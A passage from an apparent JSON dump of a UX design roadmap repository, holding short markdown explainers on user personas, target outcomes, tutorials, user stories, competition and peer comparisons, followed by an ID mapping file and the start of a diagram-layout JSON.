    "content": "# Target Actor\n\nA **Target Actor** refers to the specific user or group of users for whom a product or service is designed to cater. These users have particular needs, goals, and expectations from the product, and understanding their characteristics is essential for creating a UX design that provides them with an optimal user experience. The term is often used interchangeably with \"target audience\" or \"user persona.\"\n\nWhen designing for a target actor, it is crucial to consider the following factors:\n\n- **Demographics**: Age, gender, education, occupation, and location play a significant role in determining user preferences and behavior. These factors help designers create a relatable and appropriate user experience.\n\n- **Psychographics**: This refers to the psychological aspects of the target actor, such as their attitudes, motivations, and personality traits. Understanding these aspects helps designers align the product with users' mental models and expectations.\n\n- **Goals and Pain Points**: Identifying the problems target actors face and their goals helps designers create solutions that address their specific needs. This information also helps in prioritizing features and functionalities within the product.\n\n- **Technology proficiency**: Users' familiarity with devices and applications greatly impacts their expectations and behavior while using a product. Designers must take into account their target actor's proficiency with technology to ensure a smooth and frustration-free user experience.\n\nTo effectively design for target actors, user research methods such as interviews, surveys, and usability tests can be employed to gather data and insights. This information helps designers create accurate user personas and make informed design decisions tailored to the needs of the target actors. By keeping the target actors at the forefront throughout the design process, you will ultimately create a more satisfying and successful product experience.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/target-outcome@7J8F9dn1jGaVlhLVVRPrG.md",
    "content": "# Target Outcome\n\nThe target outcome is a clear, measurable, and time-bound objective that your product aims to achieve. It defines the desired results for your users and becomes the focal point for the entire product design process. A well-defined target outcome ensures that your UX design is aligned with your users' needs and your business goals.\n\nHere are a few key elements to consider when defining your target outcome:\n\n- **User needs**: Focus on the main problems and needs your users have, and how your product can address them. It's crucial that your target outcome is directly linked to user satisfaction.\n\n- **Specific and measurable**: Your target outcome should be specific enough to guide your design decisions and measurable, so you can assess whether you've achieved the desired results. For example, instead of aiming for \"improving user engagement,\" a target outcome could be \"increase the average time spent on the app by 10% within 3 months.\"\n\n- **Realistic**: Your target outcome should be achievable given your current resources, team, and product. Setting overly ambitious objectives may lead to frustration and a lack of focus in your design process.\n\n- **Time-bound**: Establish a clear timeline for achieving your target outcome. A deadline helps keep the team focused and on track and allows you to evaluate your progress along the way.\n\nTo sum up, defining a clear target outcome is a critical step in the UX design process, as it guides decision-making and helps ensure that your product delivers true value to your users. By focusing on user needs, making your target outcome specific and measurable, setting realistic goals, and establishing a timeline, you can ensure that your product's UX design is aligned with both user needs and business objectives.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/tell-user-what-the-action-is-and-ask-for-it@FXJpJDIp-JBc0-0z4PIRo.md",
    "content": "# Tell User What the Action is and Ask for it\n\nIn the world of UX design, one of the key objectives is to maintain effective communication with users and ensure that their needs and expectations are being met. One powerful technique to achieve this is through **Tell User and Ask** strategy.\n\n## Tell User\n\nThis approach requires the designer to provide clear, concise, and relevant information to the user throughout their interaction with the product. This can be achieved through various means:\n\n- **Visual cues**: Utilize colors, icons, and typography effectively to signal the user about important elements on the page or screen.\n- **Microcopy**: Provide short, helpful pieces of text, such as labels or tooltips, to guide the user in taking appropriate actions.\n- **Notifications**: Offer live updates, system status, and contextual feedback to keep the user informed about any ongoing processes or significant events.\n\n## Ask User\n\nAnother important aspect of creating an engaging and interactive experience is through soliciting user input or feedback. This can facilitate two-way communication and ultimately contribute to a more personalized and efficient user experience. Some ways to incorporate this strategy into your design:\n\n- **Forms and surveys**: Collect information from users in a structured and organized manner, using various input fields such as text, multiple-choice, and dropdowns.\n- **Interactive elements**: Encourage users to engage with the interface, such as sliding for content, using progressive disclosure techniques, or utilizing drag-and-drop functionality.\n- **Feedback mechanisms**: Provide quick and easy ways for users to express their opinions or report issues, such as clickable star ratings, feedback forms, or live chat features.\n\nBy combining the \"Tell User\" and \"Ask User\" strategies, UX designers can create a more dynamic and engaging user experience, while also staying in tune with the evolving needs and expectations of their audience.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/tutorials@f0n2JKxpcuP0JW-h4CvwN.md",
    "content": "# Tutorials\n\nTutorials are an important aspect of UX Design, as they help users understand and learn how to navigate through a new application, software or website. It is essential to create engaging, informative and easy-to-follow tutorials to ensure users can quickly comprehend the interface and become efficient in navigating it.\n\nIn this section, we will discuss the importance of tutorials in UX Design and provide best practices for creating effective tutorials.\n\n## Importance of Tutorials\n\n- **Guidance for new users:** Tutorials provide an opportunity for users to learn how to use a new software or application proficiently. They are particularly helpful for first-time users, who are often intimidated by the learning curve.\n- **Boost user confidence:** Well-executed tutorials help users gain confidence in their ability to navigate a software, ultimately leading to increased user satisfaction and long-term engagement.\n- **Minimize confusion:** Tutorials can help users avoid confusion and frustration by offering clear instructions and demonstrations, which ultimately reduces the need for user support.\n\n## Best Practices for Creating Tutorials\n\n- **Keep it simple and clear:** Use easy-to-understand language, avoid jargon, and break down complex concepts into smaller, manageable steps.\n- **Use visuals:** Incorporate diagrams, screenshots, and videos if possible. Visuals can enhance learning and make it easier for users to understand complex instructions.\n- **Make it interactive:** Encourage user engagement by making the tutorial interactive. This can be achieved by incorporating quizzes, allowing users to practice new skills, and providing immediate feedback.\n- **Be concise:** Long tutorials can be overwhelming and discourage users. Present only the necessary information, and keep the tutorial as short and to-the-point as possible.\n- **Test and iterate:** Regularly test your tutorials to ensure they are still relevant and effective. Gather user feedback to identify areas for improvement, and make updates accordingly.\n\nRemember, a well-designed tutorial can greatly enhance a user's experience with your software or application. Invest time and effort into creating engaging, informative and easy-to-follow tutorials, and enjoy the benefits of a more skilled and satisfied user base.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/understanding-the-product@q1WX2Cp4k4-o1T1vgL8FH.md",
    "content": "# Understanding the Product\n\nBefore diving into UX design, it's crucial to have a thorough understanding of the product you're working on. This doesn't only mean understanding its core features and functionalities, but also being aware of the underlying business goals and the target audience.\n\n## Key Components of Understanding the Product\n\n- **Business Goals:** Understand the objectives and goals of the company or client for whom you're designing. Are they looking to increase their user base, boost sales, or provide a seamless experience? Knowing the goals will shape your design decisions and ensure that your UX design aligns with the company's vision.\n\n- **Target Audience:** Clearly identify the target audience or user persona for the product. Understand their demographics, pain points, and preferences. This insight will help you design an experience tailored to their needs and expectations, resulting in higher engagement and satisfaction.\n\n- **User Journey:** Map out the user journey for the product, from the initial point of contact to their ultimate goal. This process will help you identify areas where users might encounter difficulties or confusion, and it will provide you with a blueprint for crafting a smooth user flow.\n\n- **Competitor Analysis:** Evaluate the strengths and weaknesses of competitors' products to identify opportunities for differentiation and improvement, as well as to glean inspiration from successful or innovative designs.\n\n- **Brand Consistency:** Familiarize yourself with the company's brand identity, including colors, fonts, and themes. It's important that your design aligns with the brand in order to create a cohesive and recognizable user experience.\n\n## Strategies for Understanding the Product\n\n- **Interview Stakeholders:** Engage with stakeholders, such as product managers and business owners, to gain insights into their goals, requirements, and expectations for the project.\n- **User Research:** Conduct user interviews, surveys, or focus groups to gather information on user needs, pain points, and preferences.\n- **Involve Users in Design:** Involve users in the design process through activities like participatory design or usability testing, where users can provide feedback on prototypes and designs.\n- **Stay Updated on Industry Trends:** Keep yourself informed on current trends in UX design and technology to ensure your design remains relevant and up-to-date.\n\nBy investing time in understanding the product from the business, user, and competition perspectives, you'll be better equipped to create a successful and impactful UX design.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/use-competition@6Mvm8SrISyTT99AJ-VFaW.md",
    "content": "# Use Competition\n\nUtilizing competition in UX design can lead to more engaging and motivating user experiences. By incorporating competitive elements, you encourage users to not only interact with your product or system but also compare their performance with others. This comparison can fuel their desire to improve, return to the app, and spend more time on your platform. Below are key points to keep in mind when using competition in UX design:\n\n## Identify appropriate competitive elements\n\nIt is crucial to determine which competitive elements are suitable for your target audience and the nature of your product. For example:\n\n- **Leaderboards:** Show rankings of top users based on points or achievements, encouraging users to climb higher in rankings.\n- **Badges and awards:** Recognize users' achievements by awarding virtual trophies or badges for completing specific tasks.\n- **Challenges:** Set up periodic or one-time events where users need to complete a task within a certain timeframe to win prizes.\n\n## Balance competition with collaboration\n\nEnsure that your UX design balances competition and collaboration. Too much competition can create a hostile environment, while collaboration allows users to support each other and work together. For example, you could have a group leaderboard where users can form teams and compete against other teams or create collaborative challenges where users must work together to succeed collectively.\n\n## Consider the target audience\n\nKeep your target audience in mind when incorporating competitive elements in your UX design. Understand the motivation and preferences of your users to create competition that appeals to them. For example, casual users might prefer low-pressure, friendly competitions, whereas professional or hardcore users might appreciate more intense, skill-based competitions.\n\n## Be mindful of negative impacts\n\nBe aware of the potential for negative implications that competition can bring, such as increased stress or social comparison. To mitigate these, consider:\n\n- Allowing users to opt-out of competitive features and leaderboards.\n- Maintaining a friendly and positive tone in your app's language.\n- Rewarding users for improvements in their performance, rather than just absolute performance levels.\n\n## Measure success\n\nEvaluate the effectiveness of the competitive features in your UX design by tracking relevant metrics such as user engagement, time spent in the app, user retention, and user satisfaction. Use this data to iterate and refine the competition aspects based on user feedback and performance.\n\nIn conclusion, using competition in UX design can create engaging experiences that motivate users, encouraging them to delve deeper into your app or platform. By carefully considering your target audience and the potential pitfalls of competition, you will be well on your way to crafting a user experience that keeps users coming back for more.\n\n---\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/use-consciousness-to-intefere@0MbrHG-VDrdZqQ0jWtiDo.md",
    "content": "# Use Consciousness to Interfere\n\nIn UX design, understanding the existing behavior of users is essential to create a seamless and efficient user experience. One way to obtain this understanding is through the concept of \"use consciousness to interfere.\" This method involves taking a conscious and deliberate approach to observing and analyzing user behavior, in order to identify problems or areas of improvement, and then designing solutions based on these insights.\n\nHere's a brief summary of how to use consciousness to interfere in UX design:\n\n- **Observation**: Start by observing users in their natural environment, using your product or interacting with similar products. This will give you valuable insight into their habits, preferences, and challenges.\n\n- **Analysis**: Next, analyze the data you've collected from your observations. Identify patterns, problems, and opportunities for improvement. This might involve breaking down tasks into smaller components, examining specific user flows, or comparing different user groups.\n\n- **Empathy**: Develop a deep empathy for your users, understanding their needs, problems, and motivations. This will help you prioritize features and improvements, and design solutions that genuinely address their needs.\n\n- **Experimentation**: Generate multiple ideas and possible solutions based on your analysis and empathic understanding of users. Test these ideas through rapid prototyping and user testing to get feedback and iterate on your designs.\n\n- **Measure Impact**: Continuously measure the impact of your design changes by monitoring user behavior and key performance indicators (KPIs). This will help you understand the effectiveness of your interventions and inform future design decisions.\n\nBy using consciousness to interfere in the UX design process, you gain a deeper understanding of user behavior, enabling you to create more intuitive, engaging, and effective user experiences.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/use-peer-comparisons@iKHU0O0z6gCunCgv_aZye.md",
    "content": "# Use Peer Comparisons\n\nPeer comparisons involve using feedback or showcasing how other users, especially those with similar attributes or objectives, are interacting with your product. This can be a powerful tool in influencing user behavior and driving favorable conscious evaluation.\n\n## Why Use Peer Comparisons?\n\n- **Social Proof:** Peer comparisons provide social proof of the value of your product, which can reassure users and boost their willingness to adopt it.\n- **Healthy Competition:** Comparisons with peers can motivate users to improve their performance and fully utilize your product to stay ahead.\n- **Personal Relevance:** Peer comparisons are more relatable than general statistics or testimonials, since users see the results of others who are in similar situations.\n- **Guidance:** By observing the actions of their peers, users can learn best practices and common pitfalls, improving their overall experience with your product.\n\n## How to Implement Peer Comparisons\n\n- **Choose Relevant Peers:** To make comparisons meaningful and motivating, focus on users who share key attributes, goals, or contexts with the target user. Tailor the comparisons accordingly.\n- **Highlight Key Metrics:** Showcase an individual's progress, usage, or success with the product in comparison to their peers. Ensure these metrics are relevant and understandable to your users.\n- **Provide Context:** Make sure that users can understand why they are being compared to a particular peer group, minimizing potential resentment or disinterest.\n- **Maintain Anonymity:** To respect user privacy and avoid potential negative experiences, ensure that personal information is not shared without consent.\n- **Enable Opt-Out:** Users should always have the option to opt out of peer comparisons if they find it intrusive or unhelpful.\n\n## Caveats\n\n- Be aware that peer comparisons can lead to unintended consequences if not handled properly, such as demotivation, social pressure, or decreased self-esteem.\n- Always respect user privacy and ensure a positive, supportive environment when implementing peer comparisons in your UX design.\n\nBy effectively leveraging peer comparisons, you can enhance user engagement and satisfaction, ultimately creating a more successful and enjoyable product experience.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/user-stories@tkbkpvHlWQeOnReanR8J7.md",
    "content": "# User Stories\n\nUser stories are an essential component of UX design, particularly during the process of creating a product backlog. They help to ensure that a product is designed with the end-user in mind, by capturing their needs, desires, and goals in a simple, concise format. In this section, we will explore what user stories are, why they are important, and how to create them.\n\n## What are User Stories?\n\nA user story is a brief, informal description of a specific user's need or interaction with a product. They are written from the perspective of the user and typically follow this format:\n\n```\nAs a [type of user], I want to [perform an action or achieve a goal] so that [reason or benefit].\n```\n\nFor example: As a busy parent, I want to be able to quickly find activities for my children in my local area, so that I can keep them entertained without spending hours searching the web.\n\n## Why are User Stories Important?\n\nUser stories serve several crucial functions in the UX design process:\n\n- **Empathy**: By writing user stories, designers and product managers can better empathize with the users they are designing for, ultimately leading to more user-centered design decisions.\n- **Communication**: User stories are an effective way to communicate the needs, goals, and concerns of target users to stakeholders, developers, and other team members.\n- **Prioritization**: By considering user stories during the creation of a product backlog, teams can more effectively prioritize features and elements of the product that align with user needs.\n- **Validation**: User stories provide a useful benchmark for validating design concepts and evaluating the effectiveness of the final product in meeting the needs of its users.\n\n## How to Create User Stories\n\nWhen creating user stories, it is essential to keep the end-users in mind. Follow these steps to create effective user stories:\n\n- **Identify User Personas**: Start by identifying the various user personas that will be interacting with your product. Consider their unique characteristics, needs, and goals.\n- **Clarify Needs**: For each persona, clarify the specific needs that they have in relation to your product. Consider how your product will help them achieve their goals or fulfill their needs.\n- **Write User Stories**: Using the provided format, write user stories that explicitly capture the needs of your identified personas. Be concise, clear, and specific.\n- **Review and Refine**: Review the user stories with your team and stakeholders to ensure they accurately reflect user needs and goals. Refine them as necessary to maintain focus and clarity.\n\nIn conclusion, user stories are a powerful tool for creating a user-centered, empathetic design process. By effectively capturing user needs and goals, user stories help to guide product development and ensure that the final product is tailored to the end-users' desires.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/ux-best-practices@VUf72i5hYaLR_8ul9EzmM.md",
    "content": "# UX Best Practices\n\nUX design, or user experience design, is essential for creating user-friendly and effective products. In this section, we'll discuss some of the best practices that can help you create an optimal user experience for your products.\n\n## Understand your users\n\nBefore you start designing any product or feature, it's crucial to **know and understand your users**. Conduct user research, create user personas, and use these insights to tailor your design to the needs and preferences of your target audience.\n\n## Focus on usability\n\nOne of the main goals of UX design is to create products that are **easy to use and navigate**. Aim for simplicity, consistency, and clarity in your design, and make sure to test your product with real users to identify potential usability issues.\n\n## Design for accessibility\n\nDesigning for **accessibility ensures that your product can be used by people with disabilities**, such as visual or motor impairments. This involves providing alternative input methods, like keyboard navigation, as well as preparing your site for assistive technologies such as screen readers.\n\n## Utilize responsive design\n\nToday's users access digital products from various types of devices, and it's important to ensure that your product offers a consistent, enjoyable experience on all screens. Utilize **responsive design techniques** to accommodate different device sizes and capabilities.\n\n## Opt for clear and concise content\n\nWell-written, easy-to-understand content is a crucial part of UX design. Use **simple language, clear headings, and bullet points** to help users quickly find and digest the information they need.\n\n## Enable user control and feedback\n\nAllow users to **control their experience** by making it easy for them to undo actions, navigate through your product, and provide feedback. Providing visual feedback, like error messages or confirmation messages, can help users feel more confident using your product.\n\n## Optimize page load times\n\nSlow-loading pages can negatively affect user experience and lead to users leaving your product. To ensure a positive experience, **optimize the performance of your website or application** by compressing images, minimizing the use of scripts, and employing caching techniques.\n\n## Be consistent in design and layout\n\nConsistency in design elements, such as typography, colors, and layout, creates a cohesive user experience and helps to build familiarity and trust with users. Create and follow a **design system or style guide** to maintain consistency across your product.\n\n## Test and iterate\n\nUsability testing and iterative design are essential components of the UX design process. **Conduct usability tests** with real users to identify pain points and areas of improvement, and continually iterate and improve your design based on feedback and insights gained.\n\nBy applying these UX best practices, you'll be well on your way to creating user-friendly, effective products that lead to greater user satisfaction and success.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/ux-design/migration-mapping.json",
    "content": "{\n  \"human-decision-making\": \"liUKYf7UghuPk25xMPPYj\",\n  \"human-decision-making:frameworks:bj-frogg-behavior-model\": \"2NlgbLeLBYwZX2u2rKkIO\",\n  \"human-decision-making:frameworks:stephen-wendell-create-action-funnel\": \"kcG4IpneJzA6di0uqTiwb\",\n  \"human-decision-making:frameworks:spectrum-of-thinking-interventions\": \"0Df110GZcDw5wbAe1eKoA\",\n  \"human-decision-making:frameworks:dual-process-theory\": \"kWA8CvocP1pkom2N7O4gb\",\n  \"human-decision-making:ux-buzzwords:nudge-theory\": \"6ffY5wO-XhkiDJJ5YcI0x\",\n  \"human-decision-making:ux-buzzwords:persuasive-technology\": \"K22gvF9DLt0Ikc80yZLCb\",\n  \"human-decision-making:ux-buzzwords:behavior-design\": \"zYCBEUqZVlvjlAKnh5cPQ\",\n  \"human-decision-making:ux-buzzwords:behavioral-science\": \"D553-nVELaB5gdxtoKSVc\",\n  \"human-decision-making:ux-buzzwords:behavioral-economics\": \"_lv6GJ0wlMfhJ7PHRGQ_V\",\n  \"behavior-change-strategies\": \"w_QWN80zCf1tsVROeyuvo\",\n  \"behavior-change-strategies:classifying-behavior:bj-frogg-behavior-grid\": \"lRBC8VYJPsR65LHDuuIsL\",\n  \"behavior-change-strategies:making-users-addicted:nir-eyal-hook-model\": \"PLLTcrHkhd1KYaMSRKALp\",\n  \"behavior-change-strategies:making-users-addicted:cue-routine-reward-model\": \"X1AroUI8Fge_lRpKab4A9\",\n  \"behavior-change-strategies:changing-user-behavior\": \"PTZROvpPtEvu06szwmt4K\",\n  \"behavior-change-strategies:cheating\": \"zVXJPpqZvUFIxTGVrr0rN\",\n  \"behavior-change-strategies:make-or-change-habbits\": \"y6CqgqTvOt-LrvTnPJkQQ\",\n  \"behavior-change-strategies:cheating:defaulting\": \"IpKCXqf_PkxIllwmiIZsq\",\n  \"behavior-change-strategies:cheating:make-it-incidental\": \"Ix5Fll_dAINWLxVF2DXFI\",\n  \"behavior-change-strategies:cheating:automate-act-of-repition\": \"ZufrLRNkMoJ4e2T-vWxCR\",\n  \"behavior-change-strategies:changing-user-behavior:educate-and-encourage-user\": \"SLXjoYL-lhPef8s9V3jpf\",\n  \"behavior-change-strategies:changing-user-behavior:help-user-think-about-their-action\": \"e9n9an1PGxDPGkLCOHIwz\",\n  \"behavior-change-strategies:make-or-change-habbits:existing-behavior:help-user-avoiding-the-cue\": \"S2TgqNDjvmcJTaXncM09u\",\n  \"behavior-change-strategies:make-or-change-habbits:existing-behavior:replace-the-routine\": \"_C-55tciBzc6_Kyk6272k\",\n  \"behavior-change-strategies:make-or-change-habbits:existing-behavior:use-consciousness-to-interfere\": \"0MbrHG-VDrdZqQ0jWtiDo\",\n  \"behavior-change-strategies:make-or-change-habbits:existing-behavior:mindfulness-to-avoid-acting-on-the-cue\": \"d1dXGCHmMF2EFpL5yKVJA\",\n  \"behavior-change-strategies:make-or-change-habbits:existing-behavior:crowd-out-old-habit-with-new-behavior\": \"B0gg7Z5JL9m9Srb89KcN5\",\n  \"understand-the-product\": \"q1WX2Cp4k4-o1T1vgL8FH\",\n  \"understand-the-product:clarify-product:target-outcome\": \"7J8F9dn1jGaVlhLVVRPrG\",\n  \"understand-the-product:clarify-product:target-actor\": \"FRn2MaR0-ehSD3zmwXcCI\",\n  \"understand-the-product:clarify-product:target-action\": \"AXn-N15U_z4OagClNoXrW\",\n  \"understand-the-product:define-target-users:create-user-personas\": \"s2KJ5kNv9UcnsP0QKIKQ7\",\n  \"understand-the-product:existing-business-model:business-model-canvas\": \"SGO9hHju49_py0n0ASGBe\",\n  \"understand-the-product:existing-business-model:lean-canvas\": \"sc8jJ_77CrkQuxIJYk28Q\",\n  \"understand-the-product:new-business-model:business-model-inspirator\": \"GI06-DbGyJlQXq5Tyi-aH\",\n  \"understand-the-product:new-business-model:competitor-analysis\": \"HUZ5n2MRHzQPyjwX2h6Q4\",\n  \"understand-the-product:new-business-model:five-forces-model\": \"F9gpGTRwXq08jNo5pPKm6\",\n  \"understand-the-product:new-business-model:swot-analysis\": \"XiEn1OGFY1bMCoB0Pk8N_\",\n  \"conceptual-design\": \"r6D07cN0Mg4YXsiRSrl1_\",\n  \"conceptual-design:create-product-backlog:user-stories\": \"tkbkpvHlWQeOnReanR8J7\",\n  \"conceptual-design:things-to-lookout-for:keep-it-short-simple\": \"QNJ-LxfYtR8lbnmuy2Qm9\",\n  \"conceptual-design:things-to-lookout-for:make-it-easy\": \"vAu2c45c7DgoRydHR2tvD\",\n  \"conceptual-design:things-to-lookout-for:make-progress-visible\": \"8YePym3cQtoVY0DJQLllK\",\n  \"conceptual-design:things-to-lookout-for:make-progress-meaningful-reward-user\": \"D3LVYuCDHD6-kU8GhXokf\",\n  \"conceptual-design:things-to-lookout-for:make-successful-completion-clearly-visible\": \"94V3wUtZ0NMm_0Vb1pBju\",\n  \"conceptual-design:deliverables:custom-experience-map\": \"0KEqAjHFBjfmGA1bKzXuD\",\n  \"conceptual-design:deliverables:simple-flowchart\": \"JCP5_jyvh9u7hxp379iW2\",\n  \"conceptual-design:deliverables:event-driven-process-chain-model\": \"nccToz_0FUvHMJytpDpM0\",\n  \"conceptual-design:deliverables:business-process-model-and-notation\": \"jy5jtSEyNE8iJpad27rPX\",\n  \"prototyping\": \"6yCBFwntQ_KxFmmGTJ8iR\",\n  \"prototyping:good-layout-rules\": \"90_M5qABC1vZ1nsXVyqFJ\",\n  \"prototyping:wireframing:figma\": \"t46s6Piyd8MoJYzdDTsjr\",\n  \"prototyping:wireframing:adobe-xd\": \"HI_urBhPqT0m3AeBQJIej\",\n  \"prototyping:wireframing:sketch\": \"nb7Ql1gvxqEucsGnIWTyY\",\n  \"prototyping:wireframing:balsamiq\": \"fZkARg6kPXPemYW1vDMTe\",\n  \"prototyping:ux-patterns:call-to-action\": \"U4ZEFUcghr9XjSyf-0Np7\",\n  \"prototyping:ux-patterns:status-reports\": \"G4Ap91NgZfkV-54EuWe-Z\",\n  \"prototyping:ux-patterns:how-to-tips\": \"mzWd-xSr7sO2RgfPbKy4T\",\n  \"prototyping:ux-patterns:reminders-planning-prompts\": \"wFWidrOZ5EHPgo9uuUclK\",\n  \"prototyping:ux-patterns:decision-making-support\": \"9vA3ZWMiKG6NiEqGDvcFR\",\n  \"prototyping:ux-patterns:behavior-change-games\": \"JSBiw0C6aq1LhA33y79PM\",\n  \"prototyping:ux-patterns:gamification\": \"fbIur1tEIdNDE6gls4Bru\",\n  \"prototyping:ux-patterns:planners\": \"eYZf67rnhOksfh44hnzHg\",\n  \"prototyping:ux-patterns:reminders\": \"esWGzYUJwv7_xGjq6kpVE\",\n  \"prototyping:ux-patterns:social-sharing\": \"FoKtBRuTuMD2SZDHLWS-5\",\n  \"prototyping:ux-patterns:goal-trackers\": \"g-bcan_JnjJfg0_fMOb64\",\n  \"prototyping:ux-patterns:tutorials\": \"f0n2JKxpcuP0JW-h4CvwN\",\n  \"ux-best-practices\": \"VUf72i5hYaLR_8ul9EzmM\",\n  \"ux-best-practices:getting-attention:clear-the-page-of-distractions\": \"IjqH_Ev2fDWG0QDQ9c9eN\",\n  \"ux-best-practices:getting-attention:make-it-clear-where-to-act\": \"hDj3HaYAM7K1UJmP_T52n\",\n  \"ux-best-practices:getting-attention:tell-user-and-ask\": \"FXJpJDIp-JBc0-0z4PIRo\",\n  \"ux-best-practices:getting-favorable-conscious-evaluation:prime-user-relevant-associations\": \"jBQtuiHGl3eyCTZG85Vz5\",\n  \"ux-best-practices:getting-favorable-conscious-evaluation:leverage-loss-aversion\": \"zXinWCEH4LlYvXekLK0Ju\",\n  \"ux-best-practices:getting-favorable-conscious-evaluation:use-peer-comparisons\": \"iKHU0O0z6gCunCgv_aZye\",\n  \"ux-best-practices:getting-favorable-conscious-evaluation:use-competition\": \"6Mvm8SrISyTT99AJ-VFaW\",\n  \"ux-best-practices:getting-favorable-conscious-evaluation:avoid-cognitive-overhead\": \"4AzPOKXUN32CkgchRMrRY\",\n  \"ux-best-practices:getting-favorable-conscious-evaluation:avoid-choice-overload\": \"8wxlu4KA2iu9CJa1UAUll\",\n  \"ux-best-practices:getting-favorable-conscious-evaluation:avoid-direct-payments\": \"iQNvKhwhvbis4Yn1ZxQua\",\n  \"ux-best-practices:positive-intuitive-reaction:make-ui-professional-and-beautiful\": \"ahhffBkmd-feroleBrhJm\",\n  \"ux-best-practices:positive-intuitive-reaction:deploy-social-proof\": \"C1NwA0Pivoo73GANoOaPi\",\n  \"ux-best-practices:positive-intuitive-reaction:deploy-strong-subject-authority\": \"C5dKHIIgBzxtBpFgDs-hB\",\n  \"ux-best-practices:positive-intuitive-reaction:be-authentic-and-personal\": \"m30ePaw_qa36m9Rv9NSFf\",\n  \"ux-best-practices:create-urgency:avoid-temporal-myopia\": \"S9rJr8pc-Ln8BxG0suBWa\",\n  \"ux-best-practices:create-urgency:remind-of-prior-commitment-to-act\": \"kR-UbUFdELVeiPJqT0GlZ\",\n  \"ux-best-practices:create-urgency:make-commitment-to-friends\": \"dOL2z6ULpmzRD5N3MrYCy\",\n  \"ux-best-practices:create-urgency:make-reward-scarce\": \"1pzONoWafLAeX8eWbH-Dz\",\n  \"ux-best-practices:make-it-easy-for-users:elicit-implementation-intentions\": \"EmDgiwaknBz5lXr1rwalE\",\n  \"ux-best-practices:make-it-easy-for-users:default-everything\": \"wE5gt1vMgbF3csA61VO2-\",\n  \"ux-best-practices:make-it-easy-for-users:lessen-the-burden-of-action-info\": \"gf7et64xCqkYBrP9HwWs_\",\n  \"ux-best-practices:make-it-easy-for-users:deploy-peer-comparisons\": \"gqOnzmiLQHmIXuEe4jG2e\",\n  \"measuring-the-impact\": \"GgBazWfF2OvOqkuo3DO2L\",\n  \"measuring-the-impact:gather-lessons-prioritize-integrate\": \"Emby09Nsm_j6uNreT58r6\",\n  \"measuring-the-impact:testing:incremental-ab-testing\": \"Q4xBz9f3yyZi2F_aZ5ixL\",\n  \"measuring-the-impact:testing:multivariate-testing\": \"-_T2nzp1vV1jUcpsC5DI3\"\n}"
  },
  {
    "path": "src/data/roadmaps/ux-design/ux-design.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"h7JsYb4AUn59MUfSHkXPH\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 245.2883535458459,\n        \"y\": 2142.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 88,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 88\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.2883535458459,\n        \"y\": 2142.888026311074\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 88\n      }\n    },\n    {\n      \"id\": \"ni18gXdtdggAI4P8HG0h5\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 28.305412875927175,\n        \"y\": 1773.1312791016187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"UVjYjf0frEacBLo-gegK-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 28.305412875927175,\n        \"y\": 1773.1312791016187\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"UVjYjf0frEacBLo-gegK-\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 265.2883535458459,\n        \"y\": 1570.9741748535075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 265.2883535458459,\n        \"y\": 1570.9741748535075\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"kPYDO-8dOqviVg33HgkaY\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 358.2883535458459,\n        \"y\": 1555.3769542823657\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 317,\n      \"height\": 533,\n      \"style\": {\n        \"width\": 317,\n        \"height\": 533\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 358.2883535458459,\n        \"y\": 1555.3769542823657\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 533\n      }\n    },\n    {\n      \"id\": 